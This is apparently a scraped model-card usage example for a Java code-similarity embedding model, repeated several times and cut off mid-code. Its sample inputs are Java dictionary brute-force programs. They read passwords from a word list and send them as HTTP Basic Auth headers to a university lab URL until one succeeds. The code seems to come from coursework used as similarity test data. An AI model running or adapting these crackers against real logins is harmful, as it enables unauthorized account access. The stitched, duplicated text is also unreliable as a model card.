{\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n   